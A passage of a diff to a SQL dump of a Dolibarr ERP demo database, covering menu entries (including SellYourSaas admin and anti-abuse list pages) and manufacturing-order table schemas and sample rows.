16:58:23'),(167495,'all',1,'ticket','left','ticket',-1,'ticket','ticket',103,'/ticket/list.php?search_fk_status=non_closed','','List','','ticket',NULL,'ticketlist','$user->rights->ticket->read','$conf->ticket->enabled',2,'2023-01-12 16:58:23'),(167496,'all',1,'ticket','left','ticket',-1,'ticket','ticket',105,'/ticket/list.php?mode=mine&search_fk_status=non_closed','','MenuTicketMyAssign','','ticket',NULL,'ticketmy','$user->rights->ticket->read','$conf->ticket->enabled',0,'2023-01-12 16:58:23'),(167497,'all',1,'ticket','left','ticket',-1,'ticket','ticket',107,'/ticket/stats/index.php','','Statistics','','ticket',NULL,NULL,'$user->rights->ticket->read','$conf->ticket->enabled',0,'2023-01-12 16:58:23'),(167498,'all',1,'ticket','left','ticket',-1,'ticket','ticket',107,'/categories/index.php?type=12','','Categories','','ticket',NULL,NULL,'$user->rights->ticket->read','$conf->categorie->enabled',0,'2023-01-12 16:58:23'),(167499,'all',1,'takepos','top','takepos',0,NULL,NULL,1001,'/takepos/index.php','takepos','PointOfSaleShort','','cashdesk',NULL,NULL,'$user->rights->takepos->run','$conf->takepos->enabled',2,'2023-01-12 16:58:23'),(167501,'all',1,'website','top','website',0,NULL,NULL,100,'/website/index.php','','WebSites','','website',NULL,NULL,'$user->rights->website->read','$conf->website->enabled',2,'2023-01-12 20:24:42'),(167502,'all',1,'sellyoursaas','top','sellyoursaas',0,NULL,NULL,200,'/sellyoursaas/backoffice/index.php','','__[SELLYOURSAAS_NAME]__','\"\"','',NULL,NULL,'$user->hasRight(\"sellyoursaas\", \"liens\", \"voir\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167503,'all',1,'sellyoursaas','left','sellyoursaas',-1,NULL,'sellyoursaas',100,'/sellyoursaas/backoffice/index.php','','Summary','\"\"','sellyoursaas@sellyoursaas',NULL,'mysaas_summary','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167504,'all',1,'sellyoursaas','left','sellyoursaas',-1,NULL,'sellyoursaas',210,'/sellyoursaas/packages_list.php','','Packages','','',NULL,'mysaas_packages','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167505,'all',1,'sellyoursaas','left','sellyoursaas',-1,'mysaas_packages','sellyoursaas',211,'/sellyoursaas/packages_card.php?action=create','','NewPackage','','sellyoursaas@sellyoursaas',NULL,'mysaas_createpackage','$user->hasRight(\"sellyoursaas\", \"write\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167506,'all',1,'sellyoursaas','left','sellyoursaas',-1,'mysaas_packages','sellyoursaas',212,'__[SELLYOURSAAS_REFS_URL]__','_refs','LiveRefsInstances','','sellyoursaas@sellyoursaas',NULL,'mysaas_live','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167507,'all',1,'sellyoursaas','left','sellyoursaas',-1,NULL,'sellyoursaas',220,'/product/list.php?type=1&search_category_product_list[]=__[SELLYOURSAAS_DEFAULT_PRODUCT_CATEG]__','','Services','','',NULL,'mysaas_products','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167508,'all',1,'sellyoursaas','left','sellyoursaas',-1,'mysaas_products','sellyoursaas',221,'/product/card.php?type=1&action=create&categories[]=__[SELLYOURSAAS_DEFAULT_PRODUCT_CATEG]__','','NewService','','',NULL,'mysaas_createproduct','$user->hasRight(\"sellyoursaas\", \"write\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167509,'all',1,'sellyoursaas','left','sellyoursaas',-1,'mysaas_products','sellyoursaas',229,'/sellyoursaas/registrationlinks_list.php','','RegistrationPages','','sellyoursaas@sellyoursaas',NULL,'mysaas_registration','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167510,'all',1,'sellyoursaas','left','sellyoursaas',-1,NULL,'sellyoursaas',230,'/societe/list.php?search_categ_cus=__[SELLYOURSAAS_DEFAULT_CUSTOMER_CATEG]__&sortfield=s.tms&sortorder=desc','','ProspectsOrCustomers','','',NULL,'mysaas_customers','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167511,'all',1,'sellyoursaas','left','sellyoursaas',-1,'mysaas_customers','sellyoursaas',231,'/societe/card.php?action=create&type=c&custcats[]=__[SELLYOURSAAS_DEFAULT_CUSTOMER_CATEG]__','','NewCustomer','','sellyoursaas@sellyoursaas',NULL,'mysaas_customers_create','$user->hasRight(\"sellyoursaas\", \"write\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167512,'all',1,'sellyoursaas','left','sellyoursaas',-1,'mysaas_customers','sellyoursaas',233,'/societe/list.php?search_categ_cus=__[SELLYOURSAAS_DEFAULT_CUSTOMER_CATEG]__&search_type=2,3&sortfield=s.tms&sortorder=desc','','Prospects','','',NULL,'mysaas_customers_prospects','$user->hasRight(\"sellyoursaas\", \"write\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167513,'all',1,'sellyoursaas','left','sellyoursaas',-1,'mysaas_customers','sellyoursaas',234,'/societe/list.php?search_categ_cus=__[SELLYOURSAAS_DEFAULT_CUSTOMER_CATEG]__&search_type=1,3&sortfield=s.tms&sortorder=desc','','Customers','','',NULL,'mysaas_customers_customers','$user->hasRight(\"sellyoursaas\", \"write\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167514,'all',1,'sellyoursaas','left','sellyoursaas',-1,NULL,'sellyoursaas',240,'/contrat/list.php?leftmenu=contracts&contextpage=sellyoursaasinstances&search_product_category=__[SELLYOURSAAS_DEFAULT_PRODUCT_CATEG]__','','Instances','','sellyoursaas@sellyoursaas',NULL,'mysaas_instances','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167515,'all',1,'sellyoursaas','left','sellyoursaas',-1,'mysaas_instances','sellyoursaas',241,'/sellyoursaas/backoffice/newcustomerinstance.php?action=create','','NewInstance','','sellyoursaas@sellyoursaas',NULL,'mysaas_instances_create','$user->hasRight(\"sellyoursaas\", \"write\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167516,'all',1,'sellyoursaas','left','sellyoursaas',-1,'mysaas_instances','sellyoursaas',245,'/contrat/list.php?leftmenu=contracts&contextpage=sellyoursaasinstancesbackup&sortfield=ef.latestbackup_date_ok&sortorder=asc&search_options_deployment_status=done&search_options_latestbackup_status=KO','','OnlineInstancesWithBackupErrors','','sellyoursaas@sellyoursaas',NULL,'mysaas_instances_backup','$user->hasRight(\"sellyoursaas\", \"write\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167517,'all',1,'sellyoursaas','left','sellyoursaas',-1,NULL,'sellyoursaas',501,'__[SELLYOURSAAS_ACCOUNT_URL]__','_sellyoursaas_customer','CustomerPortal','','sellyoursaas@sellyoursaas',NULL,'website','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167518,'all',1,'sellyoursaas','left','sellyoursaas',-1,NULL,'sellyoursaas',601,'/societe/list.php?search_categ_sup=__[SELLYOURSAAS_DEFAULT_RESELLER_CATEG]__','','Resellers','','',NULL,'mysaas_resellerlist','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled && getDolGlobalInt(\'SELLYOURSAAS_ALLOW_RESELLER_PROGRAM\')',0,'2023-01-19 12:20:14'),(167519,'all',1,'sellyoursaas','left','sellyoursaas',-1,'mysaas_resellerlist','sellyoursaas',602,'/societe/card.php?action=create&type=f&options_dolicloud=no&suppcats[]=__[SELLYOURSAAS_DEFAULT_RESELLER_CATEG]__','','NewReseller','','sellyoursaas@sellyoursaas',NULL,'mysaas_createreseller','$user->hasRight(\"sellyoursaas\", \"write\")','$conf->sellyoursaas->enabled && getDolGlobalInt(\'SELLYOURSAAS_ALLOW_RESELLER_PROGRAM\')',0,'2023-01-19 12:20:14'),(167520,'all',1,'sellyoursaas','left','sellyoursaas',-1,NULL,'sellyoursaas',601,'','','SecurityTools','','',NULL,'sellyoursaas_blacklist','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167521,'all',1,'sellyoursaas','left','sellyoursaas',-1,'sellyoursaas_blacklist','sellyoursaas',651,'/contrat/list.php?leftmenu=contracts&contextpage=sellyoursaasevilinstances&search_options_spammer=1&search_product_category=__[SELLYOURSAAS_DEFAULT_PRODUCT_CATEG]__','','EvilInstances','','sellyoursaas@sellyoursaas',NULL,'sellyoursaas_evilinstances','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167522,'all',1,'sellyoursaas','left','sellyoursaas',-1,'sellyoursaas_blacklist','sellyoursaas',651,'/sellyoursaas/whitelistip_list.php','','WhitelistIP','','',NULL,'sellyoursaas_whitelistip','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167523,'all',1,'sellyoursaas','left','sellyoursaas',-1,'sellyoursaas_blacklist','sellyoursaas',652,'/sellyoursaas/blacklistip_list.php','','BlacklistIP','','',NULL,'sellyoursaas_blacklistip','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167524,'all',1,'sellyoursaas','left','sellyoursaas',-1,'sellyoursaas_blacklist','sellyoursaas',653,'/sellyoursaas/blacklistfrom_list.php','','BlacklistFrom','','',NULL,'sellyoursaas_blacklistfrom','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167525,'all',1,'sellyoursaas','left','sellyoursaas',-1,'sellyoursaas_blacklist','sellyoursaas',654,'/sellyoursaas/blacklistto_list.php','','BlacklistTo','','',NULL,'sellyoursaas_blacklistto','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167526,'all',1,'sellyoursaas','left','sellyoursaas',-1,'sellyoursaas_blacklist','sellyoursaas',655,'/sellyoursaas/blacklistdir_list.php','','BlacklistDir','','',NULL,'sellyoursaas_blacklistdir','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167527,'all',1,'sellyoursaas','left','sellyoursaas',-1,'sellyoursaas_blacklist','sellyoursaas',656,'/sellyoursaas/blacklistcontent_list.php','','BlacklistContent','','',NULL,'sellyoursaas_blacklistcontent','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167528,'all',1,'sellyoursaas','left','sellyoursaas',-1,'sellyoursaas_blacklist','sellyoursaas',657,'/sellyoursaas/blacklistmail_list.php','','BlacklistMails','','',NULL,'sellyoursaas_blacklistmails','$user->hasRight(\"sellyoursaas\", \"read\")','$conf->sellyoursaas->enabled',0,'2023-01-19 12:20:14'),(167530,'all',1,'modulebuilder','left','tools',-1,NULL,'tools',100,'/modulebuilder/index.php?mainmenu=tools&leftmenu=devtools','_modulebuilder','ModuleBuilder','','modulebuilder',NULL,'devtools_modulebuilder','$user->hasRight(\"modulebuilder\", \"run\")','isModEnabled(\"modulebuilder\")',0,'2023-02-09 17:37:02'),(167533,'all',1,'aaa','top','aaa',0,NULL,NULL,1001,'/aaa/aaaindex.php','','ModuleAaaName','','aaa@aaa',NULL,NULL,'1','isModEnabled(\"aaa\")',2,'2023-02-09 17:38:11'),(167534,'all',1,'aaa','left','aaa',-1,NULL,'aaa',1102,'/aaa/aao_list.php','','List Aao','','aaa@aaa',NULL,'aaa_aao','1','$conf->aaa->enabled',2,'2023-02-09 17:38:11'),(167535,'all',1,'aaa','left','aaa',-1,'aaa_aao','aaa',1103,'/aaa/aao_card.php?action=create','','New Aao','','aaa@aaa',NULL,'aaa_aao','1','$conf->aaa->enabled',2,'2023-02-09 17:38:11'),(167539,'all',1,'scaninvoices','left','billing',-1,'suppliers_bills','billing',1001,'/scaninvoices/filestoimport_list.php','','ModuleScanInvoicesImportListing','','scaninvoices@scaninvoices',NULL,'supplier_bills_scaninvoices','$user->rights->scaninvoices->read','$conf->scaninvoices->enabled',2,'2023-02-27 16:28:21'),(167540,'all',1,'scaninvoices','left','billing',-1,'supplier_bills_scaninvoices','billing',1002,'/scaninvoices/importinvoice.php','','ModuleScanInvoicesNameManual','','scaninvoices@scaninvoices',NULL,'supplier_bills_manual_import','$user->rights->scaninvoices->write','$conf->scaninvoices->enabled',2,'2023-02-27 16:28:21'),(167541,'all',1,'scaninvoices','left','billing',-1,'supplier_bills_scaninvoices','billing',1003,'/scaninvoices/importauto.php','','ModuleScanInvoicesImportAuto','','scaninvoices@scaninvoices',NULL,'supplier_bills_auto_import','$user->rights->scaninvoices->write','$conf->scaninvoices->enabled',2,'2023-02-27 16:28:21'),(167618,'all',1,'partnership','left','companies',-1,NULL,'companies',1101,'/partnership/partnership_list.php','','Partnership','','partnership',NULL,'partnership','$user->rights->partnership->read','$conf->partnership->enabled',2,'2023-03-01 10:01:28'),(167619,'all',1,'partnership','left','companies',-1,'partnership','companies',1102,'/partnership/partnership_card.php?action=create','','NewPartnership','','partnership',NULL,'partnership_new','$user->rights->partnership->write','$conf->partnership->enabled',2,'2023-03-01 10:01:28'),(167620,'all',1,'partnership','left','companies',-1,'partnership','companies',1103,'/partnership/partnership_list.php','','ListOfPartnerships','','partnership',NULL,'partnership_list','$user->rights->partnership->read','$conf->partnership->enabled',2,'2023-03-01 10:01:28'); /*!40000 ALTER TABLE `llx_menu` ENABLE KEYS */; UNLOCK TABLES; @@ -8891,20 +8185,20 @@ DROP TABLE IF EXISTS `llx_mrp_mo`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_mrp_mo` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '(PROV)', + `ref` varchar(128) NOT NULL DEFAULT '(PROV)', `entity` int(11) NOT NULL DEFAULT 1, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, `qty` double NOT NULL, `fk_warehouse` int(11) DEFAULT NULL, `fk_soc` int(11) DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_public` text DEFAULT NULL, + `note_private` text DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, `status` int(11) NOT NULL, `fk_product` int(11) NOT NULL, `date_start_planned` datetime DEFAULT NULL, @@ -8913,7 +8207,7 @@ CREATE TABLE `llx_mrp_mo` ( `fk_project` int(11) DEFAULT NULL, `date_valid` datetime DEFAULT NULL, `fk_user_valid` int(11) DEFAULT NULL, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, `mrptype` int(11) DEFAULT 0, `fk_parent_line` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), @@ -8937,7 +8231,7 @@ CREATE TABLE `llx_mrp_mo` ( LOCK TABLES `llx_mrp_mo` WRITE; /*!40000 ALTER TABLE `llx_mrp_mo` DISABLE KEYS */; -INSERT INTO `llx_mrp_mo` VALUES (5,'MO1912-0002',1,'Build 2 apple pies for CIO birthday',3,2,10,NULL,NULL,'2019-12-20 16:42:08','2020-01-13 11:29:30',12,12,NULL,NULL,3,4,NULL,NULL,6,7,'2019-12-20 20:32:09',12,NULL,0,NULL),(8,'MO1912-0001',1,NULL,1,NULL,NULL,NULL,NULL,'2019-12-20 17:01:21','2019-12-20 13:25:47',12,NULL,NULL,NULL,1,3,NULL,NULL,6,NULL,'2019-12-20 17:25:47',12,NULL,0,NULL),(14,'MO2001-0003',1,NULL,10,NULL,NULL,NULL,'Production very dangerous','2020-01-02 23:46:54','2020-01-06 02:48:22',12,12,NULL,NULL,2,4,NULL,NULL,6,NULL,'2020-01-02 23:57:42',12,NULL,0,NULL),(18,'MO2001-0004',1,NULL,2,2,NULL,NULL,NULL,'2020-01-03 13:34:34','2020-01-03 10:10:41',12,12,NULL,NULL,1,4,NULL,NULL,6,NULL,'2020-01-03 14:10:41',12,NULL,0,NULL),(22,'(PROV22)',1,'label',1,NULL,26,NULL,NULL,'2020-01-08 19:42:15','2020-01-08 15:42:15',12,NULL,NULL,NULL,0,4,'2020-01-08 16:41:00','2020-01-08 17:41:00',6,6,NULL,NULL,NULL,0,NULL),(23,'(PROV23)',1,NULL,1,NULL,26,NULL,NULL,'2020-01-08 19:45:04','2020-01-08 15:45:04',12,NULL,NULL,NULL,0,4,'2020-01-08 16:42:00','2020-01-08 17:42:00',6,6,NULL,NULL,NULL,0,NULL),(24,'MO2001-0006',1,NULL,1,NULL,26,NULL,NULL,'2020-01-08 19:46:41','2020-01-13 11:13:19',12,NULL,NULL,NULL,2,4,NULL,NULL,6,6,'2020-01-13 15:11:54',12,NULL,0,NULL),(26,'(PROV26)',1,NULL,1,NULL,NULL,NULL,NULL,'2020-01-08 19:49:22','2020-01-08 15:49:22',12,NULL,NULL,NULL,0,4,NULL,NULL,6,NULL,NULL,NULL,NULL,0,NULL),(27,'(PROV27)',1,NULL,1,NULL,NULL,NULL,NULL,'2020-01-08 19:49:50','2020-01-08 15:49:50',12,NULL,NULL,NULL,0,4,NULL,NULL,6,NULL,NULL,NULL,NULL,0,NULL),(28,'MO2001-0005',1,NULL,1,NULL,NULL,NULL,NULL,'2020-01-08 20:09:40','2020-01-08 16:21:22',12,NULL,NULL,NULL,2,4,NULL,NULL,6,NULL,'2020-01-08 20:12:55',12,NULL,0,NULL),(29,'(PROV29)',1,NULL,3,NULL,NULL,NULL,NULL,'2020-01-08 21:00:55','2020-01-08 17:00:55',12,NULL,NULL,NULL,0,4,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL); +INSERT INTO `llx_mrp_mo` VALUES (5,'MO1912-0002',1,'Build 2 apple pies for CIO birthday',3,2,10,NULL,NULL,'2019-12-20 16:42:08','2020-01-13 11:29:30',12,12,NULL,NULL,3,4,NULL,NULL,6,7,'2019-12-20 20:32:09',12,NULL,0,NULL),(8,'MO1912-0001',1,NULL,1,NULL,NULL,NULL,NULL,'2019-12-20 17:01:21','2019-12-20 13:25:47',12,NULL,NULL,NULL,1,3,NULL,NULL,6,NULL,'2019-12-20 17:25:47',12,NULL,0,NULL),(14,'MO2001-0003',1,NULL,10,NULL,NULL,NULL,'Production very dangerous','2020-01-02 23:46:54','2020-01-06 02:48:22',12,12,NULL,NULL,2,4,NULL,NULL,6,NULL,'2020-01-02 23:57:42',12,NULL,0,NULL),(18,'MO2001-0004',1,NULL,2,2,NULL,NULL,NULL,'2020-01-03 13:34:34','2020-01-03 10:10:41',12,12,NULL,NULL,1,4,NULL,NULL,6,NULL,'2020-01-03 14:10:41',12,NULL,0,NULL),(22,'(PROV22)',1,'label',1,NULL,26,NULL,NULL,'2020-01-08 19:42:15','2023-01-17 12:47:53',12,NULL,NULL,NULL,0,4,'2020-01-08 16:41:00','2020-01-08 17:41:00',6,4,NULL,NULL,NULL,0,NULL),(23,'(PROV23)',1,NULL,1,NULL,26,NULL,NULL,'2020-01-08 19:45:04','2022-12-26 11:20:09',12,NULL,NULL,NULL,0,4,'2020-01-08 16:42:00','2020-01-08 17:42:00',6,4,NULL,NULL,NULL,0,NULL),(24,'MO2001-0006',1,NULL,1,NULL,26,NULL,NULL,'2020-01-08 19:46:41','2020-01-13 11:13:19',12,NULL,NULL,NULL,2,4,NULL,NULL,6,6,'2020-01-13 15:11:54',12,NULL,0,NULL),(26,'(PROV26)',1,NULL,1,NULL,NULL,NULL,NULL,'2020-01-08 19:49:22','2020-01-08 15:49:22',12,NULL,NULL,NULL,0,4,NULL,NULL,6,NULL,NULL,NULL,NULL,0,NULL),(27,'(PROV27)',1,NULL,1,NULL,NULL,NULL,NULL,'2020-01-08 19:49:50','2020-01-08 15:49:50',12,NULL,NULL,NULL,0,4,NULL,NULL,6,NULL,NULL,NULL,NULL,0,NULL),(28,'MO2001-0005',1,NULL,1,NULL,NULL,NULL,NULL,'2020-01-08 20:09:40','2020-01-08 16:21:22',12,NULL,NULL,NULL,2,4,NULL,NULL,6,NULL,'2020-01-08 20:12:55',12,NULL,0,NULL),(29,'(PROV29)',1,NULL,3,NULL,NULL,NULL,NULL,'2020-01-08 21:00:55','2020-01-08 17:00:55',12,NULL,NULL,NULL,0,4,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL); /*!40000 ALTER TABLE `llx_mrp_mo` ENABLE KEYS */; UNLOCK TABLES; @@ -8952,7 +8246,7 @@ CREATE TABLE `llx_mrp_mo_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_mrp_mo_fk_object` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -8978,20 +8272,20 @@ CREATE TABLE `llx_mrp_production` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_mo` int(11) NOT NULL, `origin_id` int(11) DEFAULT NULL, - `origin_type` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `origin_type` varchar(10) DEFAULT NULL, `position` int(11) NOT NULL DEFAULT 0, `fk_product` int(11) NOT NULL, `fk_warehouse` int(11) DEFAULT NULL, `qty` double NOT NULL DEFAULT 1, - `batch` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `role` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `batch` varchar(128) DEFAULT NULL, + `role` varchar(10) DEFAULT NULL, `fk_mrp_production` int(11) DEFAULT NULL, `fk_stock_movement` int(11) DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `qty_frozen` smallint(6) DEFAULT 0, `disable_stock_change` smallint(6) DEFAULT 0, PRIMARY KEY (`rowid`), @@ -9001,7 +8295,7 @@ CREATE TABLE `llx_mrp_production` ( CONSTRAINT `fk_mrp_production_mo` FOREIGN KEY (`fk_mo`) REFERENCES `llx_mrp_mo` (`rowid`), CONSTRAINT `fk_mrp_production_product` FOREIGN KEY (`fk_product`) REFERENCES `llx_product` (`rowid`), CONSTRAINT `fk_mrp_production_stock_movement` FOREIGN KEY (`fk_stock_movement`) REFERENCES `llx_stock_mouvement` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=214 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=215 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -9010,7 +8304,7 @@ CREATE TABLE `llx_mrp_production` ( LOCK TABLES `llx_mrp_production` WRITE; /*!40000 ALTER TABLE `llx_mrp_production` DISABLE KEYS */; -INSERT INTO `llx_mrp_production` VALUES (13,8,NULL,NULL,1,3,NULL,1,NULL,'toproduce',NULL,NULL,'2019-12-20 17:01:21','2019-12-20 13:01:21',12,NULL,NULL,NULL,NULL),(14,8,NULL,NULL,0,25,NULL,4,NULL,'toconsume',NULL,NULL,'2019-12-20 17:01:21','2019-12-20 13:01:21',12,NULL,NULL,0,0),(15,8,NULL,NULL,0,3,NULL,1,NULL,'toconsume',NULL,NULL,'2019-12-20 17:01:21','2019-12-20 13:01:21',12,NULL,NULL,0,1),(49,5,NULL,NULL,1,4,NULL,3,NULL,'toproduce',NULL,NULL,'2019-12-20 20:32:00','2019-12-20 16:32:00',12,NULL,NULL,NULL,NULL),(50,5,NULL,NULL,0,25,NULL,12,NULL,'toconsume',NULL,NULL,'2019-12-20 20:32:00','2019-12-20 16:32:00',12,NULL,NULL,0,0),(51,5,NULL,NULL,0,3,NULL,3,NULL,'toconsume',NULL,NULL,'2019-12-20 20:32:00','2019-12-20 16:32:00',12,NULL,NULL,0,1),(52,14,NULL,NULL,1,4,NULL,10,NULL,'toproduce',NULL,NULL,'2020-01-02 23:46:54','2020-01-02 19:46:54',12,NULL,NULL,NULL,NULL),(53,14,NULL,NULL,0,25,NULL,40,NULL,'toconsume',NULL,NULL,'2020-01-02 23:46:54','2020-01-02 19:46:54',12,NULL,NULL,0,0),(54,14,NULL,NULL,0,3,NULL,10,NULL,'toconsume',NULL,NULL,'2020-01-02 23:46:54','2020-01-02 19:46:54',12,NULL,NULL,0,1),(68,18,NULL,NULL,1,4,NULL,2,NULL,'toproduce',NULL,NULL,'2020-01-03 14:10:33','2020-01-03 10:10:33',12,NULL,NULL,NULL,NULL),(69,18,NULL,NULL,1,25,NULL,8,NULL,'toconsume',NULL,NULL,'2020-01-03 14:10:33','2020-01-03 10:10:33',12,NULL,NULL,0,0),(70,18,NULL,NULL,3,3,NULL,2,NULL,'toconsume',NULL,NULL,'2020-01-03 14:10:33','2020-01-03 10:10:33',12,NULL,NULL,0,1),(71,18,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-03 14:10:33','2020-01-03 10:10:33',12,NULL,NULL,1,0),(93,5,NULL,NULL,0,25,1,12,'','consumed',50,23,'2020-01-06 05:44:30','2020-01-06 01:44:30',12,NULL,NULL,NULL,NULL),(95,5,NULL,NULL,0,4,2,3,'','produced',49,24,'2020-01-06 05:44:30','2020-01-06 01:44:30',12,NULL,NULL,NULL,NULL),(96,5,NULL,NULL,0,25,1,2,'','consumed',50,25,'2020-01-06 05:54:05','2020-01-06 01:54:05',12,NULL,NULL,NULL,NULL),(97,5,NULL,NULL,0,3,NULL,2,'','consumed',51,NULL,'2020-01-06 05:54:05','2020-01-06 01:54:05',12,NULL,NULL,NULL,NULL),(98,5,NULL,NULL,0,4,2,3,'','produced',49,26,'2020-01-06 05:54:05','2020-01-06 01:54:05',12,NULL,NULL,NULL,NULL),(99,14,NULL,NULL,0,25,1,1,'','consumed',53,27,'2020-01-06 06:44:49','2020-01-06 02:44:49',12,NULL,NULL,NULL,NULL),(100,14,NULL,NULL,0,3,NULL,10,'','consumed',54,NULL,'2020-01-06 06:44:49','2020-01-06 02:44:49',12,NULL,NULL,NULL,NULL),(101,14,NULL,NULL,0,4,1,1,'','produced',52,28,'2020-01-06 06:44:49','2020-01-06 02:44:49',12,NULL,NULL,NULL,NULL),(102,14,NULL,NULL,0,25,1,1,'','consumed',53,29,'2020-01-06 06:46:03','2020-01-06 02:46:03',12,NULL,NULL,NULL,NULL),(103,14,NULL,NULL,0,3,NULL,1,'','consumed',54,NULL,'2020-01-06 06:46:03','2020-01-06 02:46:03',12,NULL,NULL,NULL,NULL),(104,14,NULL,NULL,0,4,1,1,'','produced',52,30,'2020-01-06 06:46:03','2020-01-06 02:46:03',12,NULL,NULL,NULL,NULL),(105,14,NULL,NULL,0,25,1,1,'','consumed',53,31,'2020-01-06 06:48:22','2020-01-06 02:48:22',12,NULL,NULL,NULL,NULL),(106,14,NULL,NULL,0,3,NULL,1,'','consumed',54,NULL,'2020-01-06 06:48:22','2020-01-06 02:48:22',12,NULL,NULL,NULL,NULL),(107,14,NULL,NULL,0,4,1,1,'','produced',52,32,'2020-01-06 06:48:22','2020-01-06 02:48:22',12,NULL,NULL,NULL,NULL),(108,14,NULL,NULL,0,25,1,1,'','consumed',53,33,'2020-01-06 06:50:05','2020-01-06 02:50:05',12,NULL,NULL,NULL,NULL),(109,14,NULL,NULL,0,3,NULL,1,'','consumed',54,NULL,'2020-01-06 06:50:05','2020-01-06 02:50:05',12,NULL,NULL,NULL,NULL),(110,14,NULL,NULL,0,4,1,1,'','produced',52,34,'2020-01-06 06:50:05','2020-01-06 02:50:05',12,NULL,NULL,NULL,NULL),(111,5,NULL,NULL,0,25,1,2,'','consumed',50,35,'2020-01-07 20:25:02','2020-01-07 16:25:02',12,NULL,NULL,NULL,NULL),(112,5,NULL,NULL,0,3,NULL,1,'','consumed',51,NULL,'2020-01-07 20:25:02','2020-01-07 16:25:02',12,NULL,NULL,NULL,NULL),(113,5,NULL,NULL,0,4,2,1,'','produced',49,36,'2020-01-07 20:25:02','2020-01-07 16:25:02',12,NULL,NULL,NULL,NULL),(132,5,NULL,NULL,0,25,1,1,'','consumed',50,46,'2020-01-07 21:53:58','2020-01-07 17:53:58',12,NULL,NULL,NULL,NULL),(135,5,NULL,NULL,0,25,1,1,'','consumed',50,48,'2020-01-07 21:54:12','2020-01-07 